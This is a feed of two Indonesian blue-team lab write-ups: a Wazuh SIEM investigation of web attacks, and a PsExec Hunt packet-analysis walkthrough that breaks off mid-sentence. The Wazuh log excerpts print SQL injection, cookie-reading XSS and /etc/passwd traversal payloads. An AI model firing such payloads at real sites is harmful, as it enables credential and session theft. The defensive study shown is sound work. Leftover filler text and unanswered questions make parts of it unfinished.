<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Aqilah Syaima&#39; Fadel on Medium]]></title>
        <description><![CDATA[Stories by Aqilah Syaima&#39; Fadel on Medium]]></description>
        <link>https://medium.com/@nasakennedy40?source=rss-f6cd7b1f4b6d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*2uUGHARZfTdexZnh4yvMzQ.jpeg</url>
            <title>Stories by Aqilah Syaima&amp;#39; Fadel on Medium</title>
            <link>https://medium.com/@nasakennedy40?source=rss-f6cd7b1f4b6d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 08:04:08 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@nasakennedy40/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Final Capstone Project | Web Attack Analysis with Wazuh, Network and Memory Forensics]]></title>
            <link>https://medium.com/@nasakennedy40/final-capstone-project-web-attack-analysis-with-wazuh-volatility-0f3ed458dbda?source=rss-f6cd7b1f4b6d------2</link>
            <guid isPermaLink="false">https://medium.com/p/0f3ed458dbda</guid>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[siem]]></category>
            <category><![CDATA[wazuh]]></category>
            <category><![CDATA[wireshark]]></category>
            <category><![CDATA[log-monitoring]]></category>
            <dc:creator><![CDATA[Aqilah Syaima' Fadel]]></dc:creator>
            <pubDate>Wed, 18 Mar 2026 00:50:42 GMT</pubDate>
            <atom:updated>2026-07-27T12:20:06.292Z</atom:updated>
            <content:encoded><![CDATA[<p>Hands-on lab analysis for blue team. week 4 final boss.</p><p>Setelah selesai mengkonfigurasi VM Wazuh, login kedalam Wazuh server tersebut.</p><ul><li>Masuk dengan kredensial user: wazuh-user dan password: wazuh</li><li>Ketik perintah ip a atau hostname -I untuk melihat Alamat IP yang terhubung.</li><li>Masukkan IP yang muncul (192.168.x.x) ke browser untuk mengakses dashboard Wazuh.</li></ul><h3>Questions</h3><h4>1. Periksa dan identifikasi <strong>nama agent</strong> yang terhubung dengan <strong>SIEM yang dideploy secara lokal</strong>.</h4><p>Klik agent&gt;dashboard.</p><p>Dari dashboard, kita tidak menemukan agent yang aktif. Untuk bisa melihat agent apa saja yang di-deploy kedalam Wazuh tersebut, kita masuk ke direktori <strong>/var/ossec/bin/agent_control</strong> dengan opsi <strong>-l</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*K1vsdf_6OwV_6gKqNc7eTg.png" /></figure><p>Hasilnya ada 2 agent yang dideploy dan agent yang <strong>aktif</strong> adalah <strong>wazuh-server</strong>, sementara agent <strong>metasploitable </strong>tidak terhubung.</p><blockquote>Answer: <strong>wazuh-server</strong></blockquote><h4>2. Identifikasi <strong>nama web server</strong> yang digunakan atau terhubung dengan <strong>SIEM lokal</strong>.</h4><p>Web server adalah bla. Kita bisa melihat web server yang digunakan atau terhubung dengan agent metasploitable dengan cara klik menu Wazuh &gt; Modules &gt; metasploitable &gt; Security events</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*K7EiDDaEHSrFq0pZC8XX2Q.png" /></figure><p>Didalam security events tersebut, ada <strong>98 event</strong> yang terekam pada agent metasploitable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*_ccgyAHadVJuexvZBVukvA.png" /></figure><p>Karena aktivitas web server berkaitan langsung dengan lalu lintas HTTP/HTTPS, maka dilakukan proses filtering log menggunakan keyword <strong>“web”</strong> untuk mengidentifikasi event yang relevan. Dari hasil filter tersebut, ditemukan sebanyak <strong>7 event</strong> yang terindikasi berkaitan dengan aktivitas serangan berbasis web (<em>web attack</em>).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*pAsVk0e4rfx24H5kuqrAtg.png" /></figure><p>Dari 7 event itu, kita bisa lihat dengan menggunakan field berikut:</p><ul><li><strong>agent.​name</strong> untuk menampilkan nama agent yang terhubung</li><li><strong>full_log</strong> untuk menampilkan data log mentah secara utuh</li><li><strong>location</strong> menunjukkan lokasi file log pada sistem</li><li><strong>rule.​description</strong> memberikan informasi hasil deteksi rule</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*QmraifhKf4elPZXqUY4ojA.png" /></figure><p>Berdasarkan hasil analisis pada field <strong>full_log</strong>, ada request HTTP yang berisi payload <em>SQLi </em>pada parameter URL. Hal ini diperkuat oleh field <strong>rule.description</strong> yang mengklasifikasikan aktivitas tersebut sebagai <em>SQL injection attempt</em>. Selain itu, pada field <strong>location </strong>ditemukan bahwa log berasal dari direktori <strong>/var/log/apache2/access.log</strong></p><p>Direktori tersebut adalah lokasi standar penyimpanan log akses milik web server Apache HTTP Server. Dengan demikian, dapat disimpulkan bahwa layanan web server yang digunakan dalam lingkungan SIEM tersebut adalah <strong>Apache2</strong>.</p><blockquote>Answer: Apache2</blockquote><h4>3. Sebutkan <strong>nama index di Wazuh</strong> yang digunakan untuk menyimpan <strong>semua log mentah (RAW logs)</strong> yang dikumpulkan oleh SIEM lokal.</h4><p>Wazuh menyimpan data dalam bentuk yang berbeda dan terpisah antara alert atau log mentah.</p><p>Pada wazuh dashboard, klik garis tiga disebelah kiri, pilih menu discover. Pada bagian index ada Ini wazuh alert, isinya Cuma nampilin aktivitas yang terindikasi sebagai ancaman dan dikategorikan dalam peringatan</p><p>Namanya adalah wazuh archives</p><p>Ini wazuh alert, isinya Cuma nampilin aktivitas yang terindikasi sebagai ancaman dan dikategorikan dalam peringatan</p><p>Kalau archive semua log mentah, baik yang alert maupun bukan</p><blockquote>Answer: wazuh-archives</blockquote><h4>4. Periksa <strong>jumlah total aktivitas SQL Injection (SQLI)</strong> yang terdeteksi selama menyelesaikan latihan <strong>SQL-Injection Activity Detected</strong>.</h4><p>Dalam mengidentifikasi jumlah total aktivitas <em>SQL Injection (SQLi)</em>, kita bisa analisis melalui menu <strong>Security Events</strong> di dashboard Wazuh dengan memanfaatkan fitur pencarian (filtering). Disini aku menggunakan keyword <strong>sqli </strong>dan hasilnya terdapat 4 log yang menampilkan percobaan serangan ke endpoint /prod/vulnerabilities/sqli/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*uX2KP2tzTcOeiBJ1WpLf3Q.png" /></figure><p>Dari hasil filtering, ada 4 event yang mengindikasikan aktivitas <em>SQL Injection</em>. Hal ini dapat diidentifikasi melalui beberapa field penting, yaitu:</p><ul><li><strong>full_log</strong> : Menampilkan request HTTP yang berisi payload SQL Injection</li><li><strong>location</strong> : Menunjukkan log berasal dari file /var/log/apache2/access.log</li><li><strong>rule.description</strong> : Mengindikasikan status serangan, seperti SQL injection attempt dan A web attack returned code 200 (success)</li></ul><p>Selain itu, ada 4 payload yang digunakan untuk menyerang endpoint<strong> </strong>/prod/vulnerabilities/sqli/ yaitu:</p><pre>/prod/vulnerabilities/sqli/?id=%27+or+1%3D1%23&amp;amp;Submit=Submit​<br>/prod/vulnerabilities/sqli/?id=%27+UNION+SELECT+user%2C+password+FROM+users%23&amp;amp;Submit=Submit<br>/prod/vulnerabilities/sqli/?id=1+or+1%3D1+UNION+SELECT+user%2C+password+FROM+users%23&amp;amp;Submit=Submit<br>/prod/vulnerabilities/sqli/?id=%27+UNION+SELECT+user%2C+password+FROM+users%23&amp;amp;Submit=Submit</pre><blockquote>Answer: 4 aktivitas</blockquote><h4>5. Identifikasi <strong>HTTP status code</strong> yang terkait dengan aktivitas <strong>Cross-Site Scripting (XSS)</strong>.</h4><p>Langkah pertama dilakukan dengan melakukan pencarian pada indeks <strong>wazuh-archives-*</strong> menggunakan kata kunci <strong>vulnerabilities</strong>. Hasil pencarian menunjukkan terdapat <strong>22 log</strong> yang berkaitan dengan modul kerentanan pada aplikasi web.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*jGxMSVUBRxT9RtcLmkd7ng.png" /></figure><p>Selanjutnya pencarian dipersempit dengan menggunakan kata kunci <strong>xss_r</strong>, yang merupakan endpoint <strong>Reflected Cross-Site Scripting (Reflected XSS)</strong>. Dari hasil penyaringan diperoleh <strong>9 log</strong> yang berkaitan dengan aktivitas tersebut.</p><p>Untuk mengetahui status HTTP yang dikembalikan server, dilakukan pemeriksaan terhadap field <strong>data.id</strong> pada setiap log. Field ini menunjukkan <strong>HTTP Response Status Code</strong> yang diberikan web server setelah menerima request dari client.</p><pre>Feb 27, 2024 @ 00:38:46.937 full_log:192.168.117.143 - - [26/Feb/2024:12:38:54 -0500] &quot;GET /prod/vulnerabilities/upload/ HTTP/1.1&quot; 200 4516 &quot;http://192.168.117.190/prod/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E&quot; &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36&quot; agent.name:metasploitable agent.id:001 manager.name:wazuh-server data.protocol:GET data.srcip:192.168.117.143 data.id:200 data.url:/prod/vulnerabilities/upload/ decoder.name:web-accesslog input.type:log @timestamp:Feb 27, 2024 @ 00:38:46.937 location:/var/log/apache2/access.log id:1708969126.15900 timestamp:Feb 27, 2024 @ 00:38:46.937 _index:wazuh-archives-4.x-2024.02.26<br>Feb 27, 2024 @ 00:38:16.907 full_log:192.168.117.143 - - [26/Feb/2024:12:38:25 -0500] &quot;GET /prod/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E HTTP/1.1&quot; 200 4374 &quot;http://192.168.117.190/prod/vulnerabilities/xss_r/?name=%22+%3E%3C%2Foption%3E%3C%2Fselect%3E%3Cimg+src%3Dx+onerror%3D%22alert%28document.cookie%29%22%3E&quot; &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36&quot; agent.name:metasploitable agent.id:001 manager.name:wazuh-server data.protocol:GET data.srcip:192.168.117.143 data.id:200 data.url:/prod/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E rule.firedtimes:4 rule.mail:false rule.level:6 rule.pci_dss:6.5, 11.4 rule.tsc:CC6.6, CC7.1, CC8.1, CC6.1, CC6.8, CC7.2, CC7.3 rule.description:A web attack returned code 200 (success). rule.groups:web, accesslog, attack rule.mitre.technique:Exploit Public-Facing Application rule.mitre.id:T1190 rule.mitre.tactic:Initial Access rule.id:31106 rule.nist_800_53:SA.11, SI.4 rule.gdpr:IV_35.7.d decoder.name:web-accesslog input.type:log @timestamp:Feb 27, 2024 @ 00:38:16.907 location:/var/log/apache2/access.log id:1708969096.15182 timestamp:Feb 27, 2024 @ 00:38:16.907 _index:wazuh-archives-4.x-2024.02.26<br>Feb 27, 2024 @ 00:38:12.954 full_log:192.168.117.143 - - [26/Feb/2024:12:38:20 -0500] &quot;GET /prod/vulnerabilities/xss_r/x HTTP/1.1&quot; 404 312 &quot;http://192.168.117.190/prod/vulnerabilities/xss_r/?name=%22+%3E%3C%2Foption%3E%3C%2Fselect%3E%3Cimg+src%3Dx+onerror%3D%22alert%28document.cookie%29%22%3E&quot; &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36&quot; agent.name:metasploitable agent.id:001 manager.name:wazuh-server data.protocol:GET data.srcip:192.168.117.143 data.id:404 data.url:/prod/vulnerabilities/xss_r/x rule.firedtimes:2 rule.mail:false rule.level:5 rule.pci_dss:6.5, 11.4 rule.tsc:CC6.6, CC7.1, CC8.1, CC6.1, CC6.8, CC7.2, CC7.3 rule.description:Web server 400 error code. rule.groups:web, accesslog, attack rule.id:31101 rule.nist_800_53:SA.11, SI.4 rule.gdpr:IV_35.7.d decoder.name:web-accesslog input.type:log @timestamp:Feb 27, 2024 @ 00:38:12.954 location:/var/log/apache2/access.log id:1708969092.15182 timestamp:Feb 27, 2024 @ 00:38:12.954 _index:wazuh-archives-4.x-2024.02.26<br>Feb 27, 2024 @ 00:38:12.953 full_log:192.168.117.143 - - [26/Feb/2024:12:38:20 -0500] &quot;GET /prod/vulnerabilities/xss_r/?name=%22+%3E%3C%2Foption%3E%3C%2Fselect%3E%3Cimg+src%3Dx+onerror%3D%22alert%28document.cookie%29%22%3E HTTP/1.1&quot; 200 4399 &quot;http://192.168.117.190/prod/vulnerabilities/xss_r/?name=%3Cimg+src%3Dx+onerror%3D%22alert%28document.cookie%29%22%3E&quot; &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36&quot; agent.name:metasploitable agent.id:001 manager.name:wazuh-server data.protocol:GET data.srcip:192.168.117.143 data.id:200 data.url:/prod/vulnerabilities/xss_r/?name=%22+%3E%3C%2Foption%3E%3C%2Fselect%3E%3Cimg+src%3Dx+onerror%3D%22alert%28document.cookie%29%22%3E decoder.name:web-accesslog input.type:log @timestamp:Feb 27, 2024 @ 00:38:12.953 location:/var/log/apache2/access.log id:1708969092.15182 timestamp:Feb 27, 2024 @ 00:38:12.953 _index:wazuh-archives-4.x-2024.02.26<br>Feb 27, 2024 @ 00:38:12.909 full_log:[Mon Feb 26 12:38:20 2024] [error] [client 192.168.117.143] File does not exist: /var/www/prod/vulnerabilities/xss_r/x, referer: http://192.168.117.190/prod/vulnerabilities/xss_r/?name=%22+%3E%3C%2Foption%3E%3C%2Fselect%3E%3Cimg+src%3Dx+onerror%3D%22alert%28document.cookie%29%22%3E predecoder.timestamp:Mon Feb 26 12:38:20 2024 agent.name:metasploitable agent.id:001 manager.name:wazuh-server data.srcip:192.168.117.143 decoder.parent:apache-errorlog decoder.name:apache-errorlog input.type:log @timestamp:Feb 27, 2024 @ 00:38:12.909 location:/var/log/apache2/error.log id:1708969092.14501 timestamp:Feb 27, 2024 @ 00:38:12.909 _index:wazuh-archives-4.x-2024.02.26<br>Feb 27, 2024 @ 00:37:44.757 full_log:192.168.117.143 - - [26/Feb/2024:12:37:52 -0500] &quot;GET /prod/vulnerabilities/xss_r/?name=%3Cimg+src%3Dx+onerror%3D%22alert%28document.cookie%29%22%3E HTTP/1.1&quot; 200 4378 &quot;http://192.168.117.190/prod/vulnerabilities/xss_r/&quot; &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36&quot; agent.name:metasploitable agent.id:001 manager.name:wazuh-server data.protocol:GET data.srcip:192.168.117.143 data.id:200 data.url:/prod/vulnerabilities/xss_r/?name=%3Cimg+src%3Dx+onerror%3D%22alert%28document.cookie%29%22%3E decoder.name:web-accesslog input.type:log @timestamp:Feb 27, 2024 @ 00:37:44.757 location:/var/log/apache2/access.log id:1708969064.13736 timestamp:Feb 27, 2024 @ 00:37:44.757 _index:wazuh-archives-4.x-2024.02.26<br>Feb 27, 2024 @ 00:37:44.757 full_log:192.168.117.143 - - [26/Feb/2024:12:37:52 -0500] &quot;GET /prod/vulnerabilities/xss_r/x HTTP/1.1&quot; 404 312 &quot;http://192.168.117.190/prod/vulnerabilities/xss_r/?name=%3Cimg+src%3Dx+onerror%3D%22alert%28document.cookie%29%22%3E&quot; &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36&quot; agent.name:metasploitable agent.id:001 manager.name:wazuh-server data.protocol:GET data.srcip:192.168.117.143 data.id:404 data.url:/prod/vulnerabilities/xss_r/x rule.firedtimes:1 rule.mail:false rule.level:5 rule.pci_dss:6.5, 11.4 rule.tsc:CC6.6, CC7.1, CC8.1, CC6.1, CC6.8, CC7.2, CC7.3 rule.description:Web server 400 error code. rule.groups:web, accesslog, attack rule.id:31101 rule.nist_800_53:SA.11, SI.4 rule.gdpr:IV_35.7.d decoder.name:web-accesslog input.type:log @timestamp:Feb 27, 2024 @ 00:37:44.757 location:/var/log/apache2/access.log id:1708969064.13736 timestamp:Feb 27, 2024 @ 00:37:44.757 _index:wazuh-archives-4.x-2024.02.26<br>Feb 27, 2024 @ 00:37:44.713 full_log:[Mon Feb 26 12:37:52 2024] [error] [client 192.168.117.143] File does not exist: /var/www/prod/vulnerabilities/xss_r/x, referer: http://192.168.117.190/prod/vulnerabilities/xss_r/?name=%3Cimg+src%3Dx+onerror%3D%22alert%28document.cookie%29%22%3E predecoder.timestamp:Mon Feb 26 12:37:52 2024 agent.name:metasploitable agent.id:001 manager.name:wazuh-server data.srcip:192.168.117.143 decoder.parent:apache-errorlog decoder.name:apache-errorlog input.type:log @timestamp:Feb 27, 2024 @ 00:37:44.713 location:/var/log/apache2/error.log id:1708969064.13736 timestamp:Feb 27, 2024 @ 00:37:44.713 _index:wazuh-archives-4.x-2024.02.26<br>Feb 27, 2024 @ 00:37:34.253 full_log:192.168.117.143 - - [26/Feb/2024:12:37:42 -0500] &quot;GET /prod/vulnerabilities/xss_r/ HTTP/1.1&quot; 200 4317 &quot;http://192.168.117.190/prod/vulnerabilities/sqli/?id=%27+UNION+SELECT+user%2C+password+FROM+users%23&amp;Submit=Submit&quot; &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36&quot; agent.name:metasploitable agent.id:001 manager.name:wazuh-server data.protocol:GET data.srcip:192.168.117.143 data.id:200 data.url:/prod/vulnerabilities/xss_r/ decoder.name:web-accesslog input.type:log @timestamp:Feb 27, 2024 @ 00:37:34.253</pre><h3>HTTP Status Code 200 (OK)</h3><p>Berdasarkan hasil analisis log, sebagian besar request yang mengandung payload XSS memperoleh <strong>HTTP status code 200 (OK)</strong>.</p><pre>GET /prod/vulnerabilities/xss_r/?name=&lt;script&gt;alert(document.cookie)&lt;/script&gt; HTTP/1.1</pre><p>dengan nilai:</p><pre>data.id : 200</pre><p>Selain payload &lt;script&gt;alert(document.cookie)&lt;/script&gt;, ditemukan pula payload lain seperti:</p><pre>&lt;img src=x onerror=&quot;alert(document.cookie)&quot;&gt;</pre><p>Payload tersebut dikirimkan melalui parameter <strong>name</strong> pada endpoint <strong>/prod/vulnerabilities/xss_r/</strong>.</p><p>Status <strong>200 (OK)</strong> menunjukkan bahwa web server <strong>berhasil menerima dan memproses request</strong> yang dikirimkan oleh client. Artinya, payload XSS tidak menyebabkan request ditolak ataupun menghasilkan kesalahan pada sisi server. Hal ini tidak secara langsung membuktikan bahwa eksploitasi berhasil, tetapi mengindikasikan bahwa aplikasi memproses payload tersebut dan mengembalikan respons normal kepada pengguna.</p><p>Aktivitas tersebut juga memicu rule Wazuh berikut:</p><pre>Rule ID          : 31106<br>Rule Description : A web attack returned code 200 (success)<br>Rule Level       : 6<br>MITRE ATT&amp;CK     : T1190 – Exploit Public-Facing Application</pre><p>Rule tersebut menunjukkan bahwa Wazuh mendeteksi adanya aktivitas serangan web yang memperoleh respons sukses (<strong>HTTP 200</strong>) dari server.</p><h3>HTTP Status Code 404 (Not Found)</h3><p>Selain status <strong>200</strong>, ditemukan pula request yang menghasilkan <strong>HTTP status code 404 (Not Found).</strong></p><pre>GET /prod/vulnerabilities/xss_r/x HTTP/1.1</pre><p>dengan nilai:</p><pre>data.id : 404</pre><p>Pada saat yang sama, Apache Error Log juga mencatat pesan:</p><pre>File does not exist:<br>/var/www/prod/vulnerabilities/xss_r/x</pre><p>Hal ini menunjukkan bahwa client mencoba mengakses resource <strong>/prod/vulnerabilities/xss_r/x, </strong>namun resource tersebut <strong>tidak tersedia pada web server</strong> sehingga server mengembalikan respons <strong>404 (Not Found)</strong>.</p><p>Aktivitas tersebut memicu rule Wazuh:</p><pre>Rule ID          : 31101<br>Rule Description : Web server 400 error code<br>Rule Level       : 5</pre><p>Walaupun deskripsi rule menyebutkan <strong>“Web server 400 error code”</strong>, status HTTP yang sebenarnya adalah <strong>404</strong>. Hal ini karena Wazuh mengelompokkan seluruh <strong>client error (HTTP 4xx)</strong> ke dalam kategori <strong>400 error code</strong>, sedangkan nilai spesifiknya tetap dapat dilihat pada field <strong>data.id</strong>.</p><h3>Analisis</h3><p>Dari keseluruhan log dapat disimpulkan bahwa aktivitas XSS menghasilkan dua jenis respons HTTP yang berbeda.</p><p>Status <strong>200 (OK)</strong> muncul ketika payload XSS berhasil dikirim ke endpoint yang valid sehingga aplikasi memproses request dan memberikan respons normal. Kondisi ini umum ditemukan saat pengujian kerentanan XSS karena aplikasi tetap memuat halaman meskipun parameter yang diberikan berisi payload berbahaya.</p><p>Sebaliknya, status <strong>404 (Not Found)</strong> muncul bukan karena payload XSS ditolak, melainkan karena request diarahkan ke URL atau resource yang tidak tersedia pada web server. Dengan kata lain, penyebab utama munculnya status <strong>404</strong> adalah kesalahan pada target resource, bukan mekanisme perlindungan terhadap serangan.</p><blockquote>Answer: 404 dan 200</blockquote><h4>6. Identifikasi <strong>nama file</strong> yang terkait dengan aktivitas <strong>File Inclusion</strong>.</h4><p>Dalam proses investigasi log pada SIEM Wazuh, dilakukan pemeriksaan pada index wazuh-archives-4.x-2024.02.26. Dari aktivitas yang tercatat pada agen metasploitable, terdeteksi serangkaian permintaan HTTP yang tidak wajar dari alamat IP 192.168.117.143.</p><p>Awalnya, penyerang mengakses jalur standar pada aplikasi web, namun pada tanggal 26 Februari 2024 pukul 13:00:39 (waktu server), pola serangan berubah menjadi agresif. Penyerang memanfaatkan parameter ?page= pada modul kerentanan File Inclusion aplikasi tersebut.</p><p>Dari log mentah (<em>full_log</em>) yang dianalisis, terdapat dua file utama yang menjadi titik sentral dalam aktivitas ini:</p><p>1. <strong>File Target (Sensitive Data): /etc/passwd</strong> Aktivitas ini secara spesifik menargetkan file sistem Linux <strong>/etc/passwd</strong>. Penyerang menggunakan teknik <em>Directory Traversal</em> dengan menyisipkan karakter ../../../../../../ untuk melompat keluar dari folder web server dan mengakses file tersebut di direktori akar sistem. Hal ini terlihat jelas dalam log:</p><pre>GET /prod/vulnerabilities/fi/?page=file/../../../../../../etc/passwd<br>GET /prod/vulnerabilities/fi/?page=/etc/passwd</pre><p>2. <strong>File Aplikasi Rentan: include.php</strong> Sebelum melakukan eksploitasi ke file sistem, log menunjukkan bahwa penyerang berinteraksi dengan file <strong>include.php</strong>.</p><pre>GET /prod/vulnerabilities/fi/?page=include.php</pre><p>File ini berfungsi sebagai skrip pemanggil halaman (wrapper) yang tidak melakukan validasi input dengan benar, sehingga memungkinkan input berbahaya masuk ke dalam fungsi eksekusi file di server.</p><p>Berdasarkan alur waktu log tersebut, file yang terkait dengan aktivitas file inclusion adalah <strong>/etc/passwd</strong> (sebagai file yang berusaha dicuri) dan <strong>include.php</strong> (sebagai file yang menyediakan celah keamanan) dengan status aktivitas adalah 200 (sukses)</p><blockquote>Aswer: /etc/passwd dan include.php</blockquote><h4>7. Tentukan <strong>port</strong> yang terkait dengan <strong>komunikasi jaringan mencurigakan</strong> pada latihan <strong>Remote File Inclusion Activity Detected</strong>.</h4><h4>8. Identifikasi <strong>source port (src port)</strong> yang terhubung dengan <strong>destination port 4444</strong> pada file <strong>external.pcapng</strong>.</h4><h4>9. Tentukan <strong>PID (Process ID)</strong> yang terkait dengan <strong>shell.exe</strong> pada file <strong>memory dump suspected.raw</strong>.</h4><h4>10. Tentukan <strong>URL</strong> yang terkait dengan aktivitas <strong>Local File Inclusion (LFI)</strong> yang terdeteksi pada <strong>SIEM lokal</strong>.</h4><p>Dari nomor 6, Langkah awal adalah melakukan pencarian terhadap aktivitas yang mengandung indikasi File Inclusion, khususnya Local File Inclusion (LFI). Filtering dapat dilakukan dengan kata kunci:</p><p>Pada field <strong>full_log</strong>, terlihat adanya request HTTP yang mengarah ke endpoint /prod/vulnerabilities/fi/?page=…. Kemudian terdapat payload mencurigakan berupa ../../../../../../etc/passwd</p><p>📌 Pola ../ (directory traversal) menunjukkan upaya penyerang untuk mengakses file sensitif di luar direktori aplikasi.</p><p><strong>3️⃣ Analisis Field data.url</strong></p><p>Field <strong>data.url</strong> memberikan representasi URL yang lebih terstruktur. Dari hasil observasi, ditemukan URL lengkap:</p><p>/prod/vulnerabilities/fi/?page=file/../../../../../../etc/passwd</p><p><strong>4️⃣ Indikasi Serangan LFI</strong></p><p>URL tersebut menunjukkan karakteristik khas <strong>Local File Inclusion</strong>, yaitu:</p><ul><li>Parameter page dimanipulasi</li><li>Menggunakan teknik <strong>directory traversal (../)</strong></li><li>Target file sensitif sistem:</li></ul><p>/etc/passwd</p><p>File ini merupakan file penting pada sistem Linux yang sering menjadi target dalam eksploitasi LFI.</p><p><strong>5️⃣ Kesimpulan</strong></p><p>Berdasarkan hasil analisis log pada dashboard Wazuh, ditemukan bahwa aktivitas <strong>Local File Inclusion (LFI)</strong> terjadi melalui URL berikut:</p><p>/prod/vulnerabilities/fi/?page=file/../../../../../../etc/passwd</p><p>URL tersebut mengindikasikan adanya upaya eksploitasi dengan teknik directory traversal untuk mengakses file sensitif pada sistem.</p><blockquote>Answer: /prod/vulnerabilities/fi/?page=file/../../../../../../etc/passwd</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0f3ed458dbda" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberDefenders | PsExec Hunt Write-Up]]></title>
            <link>https://medium.com/@nasakennedy40/cyberdefenders-psexec-hunt-write-up-8924dd2fa228?source=rss-f6cd7b1f4b6d------2</link>
            <guid isPermaLink="false">https://medium.com/p/8924dd2fa228</guid>
            <category><![CDATA[cyberdefender]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[wireshark]]></category>
            <dc:creator><![CDATA[Aqilah Syaima' Fadel]]></dc:creator>
            <pubDate>Sat, 07 Mar 2026 01:27:32 GMT</pubDate>
            <atom:updated>2026-03-09T12:49:15.525Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello guys, saya kembali (✿◡‿◡). Di artikel ini kita bakal ngebahas sebuah <em>challenge </em>dari platform CyberDefenders yaitu <strong>PsExec Hunt. </strong>Lab ini terdiri dari 7 <em>chall </em>yang berfokus pada aktivitas mencurigakan yang berhubungan dengan psexec dan berhasil dideteksi oleh IDS<em>. </em>Disini aku jelaskan panduan dan tahapan dalam menyelesaikan Lab <strong>PsExec Hunt</strong>. Enjoy 🍵</p><h3>Scenario</h3><blockquote>An alert from the Intrusion Detection System (IDS) flagged suspicious lateral movement activity involving PsExec. This indicates potential unauthorized access and movement across the network. As a SOC Analyst, your task is to investigate the provided PCAP file to trace the attacker’s activities. Identify their entry point, the machines targeted, the extent of the breach, and any critical indicators that reveal their tactics and objectives within the compromised environment.</blockquote><h3>Solve</h3><p>d</p><pre>┌──(root㉿kali)-[/home/aqilah/Downloads/psexec]<br>└─# unzip 143-psexec-hunt.zip <br>Archive:  143-psexec-hunt.zip<br>[143-psexec-hunt.zip] temp_extract_dir/psexec-hunt.pcapng password: <br>  inflating: temp_extract_dir/psexec-hunt.pcapng</pre><p>zdf</p><pre>┌──(root㉿kali)-[/home/aqilah/Downloads/psexec]<br>└─# ls<br>143-psexec-hunt.zip  temp_extract_dir<br>                                                                                                                                                             <br>┌──(root㉿kali)-[/home/aqilah/Downloads/psexec]<br>└─# cd temp_extract_dir <br>                                                                                                                                                             <br>┌──(root㉿kali)-[/home/aqilah/Downloads/psexec/temp_extract_dir]<br>└─# ls<br>psexec-hunt.pcapng</pre><p>s</p><pre>┌──(root㉿kali)-[/home/aqilah/Downloads/psexec/temp_extract_dir]<br>└─# wireshark psexec-hunt.pcapng</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*etf9uB1l5NxPkMDazKqU6w.png" /></figure><p>sas</p><h4>Q1. To effectively trace the attacker’s activities within our network, can you identify the IP address of the machine from which the attacker initially gained access?</h4><p>Pada skenario ini, aktivitas penyerang berhubungan dengan penggunaan <strong>PsExec</strong>, yang bekerja menggunakan protokol <strong>SMB</strong> untuk melakukan autentikasi, <em>transfer file executable</em>, serta komunikasi melalui <em>named pipes</em>. Oleh karena itu, analisisnya akan difokuskan pada komunikasi antar host yang berkaitan dengan SMB.</p><p>Untuk melihat host mana saja yang aktif berkomunikasi, buka <strong>Wireshark &gt; Statistics &gt; Conversations</strong>, lalu pilih tab <strong>IPv4</strong>. Menu ini akan menampilkan percakapan antar alamat IP yang terdapat dalam file capture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6Ia6s4cz2iOgwi0kryynAQ.png" /></figure><p>Selanjutnya, lakukan sorting secara <em>descending </em>berdasarkan jumlah data yang ditransfer. Dari hasil tersebut terlihat bahwa IP <strong>10.0.0.130</strong> mengirimkan data sekitar 7 MB ke <strong>10.0.0.133</strong>. Besarnya jumlah data ini menunjukkan adanya aktivitas komunikasi yang cukup intens dan kemungkinan berkaitan dengan aktivitas penyerang.</p><blockquote><strong>Flag: 10.0.0.130</strong></blockquote><h4>Q2. To fully understand the extent of the breach, can you determine the machine’s hostname to which the attacker first pivoted?</h4><p>Pada log sebelumnya, kita dapat melakukan filter terhadap packet SMB untuk melihat koneksi antar hostname dengan menggunakan filter berikut:</p><pre>ntlmssp.challenge.target_name</pre><p>Filter ini berfungsi untuk menampilkan 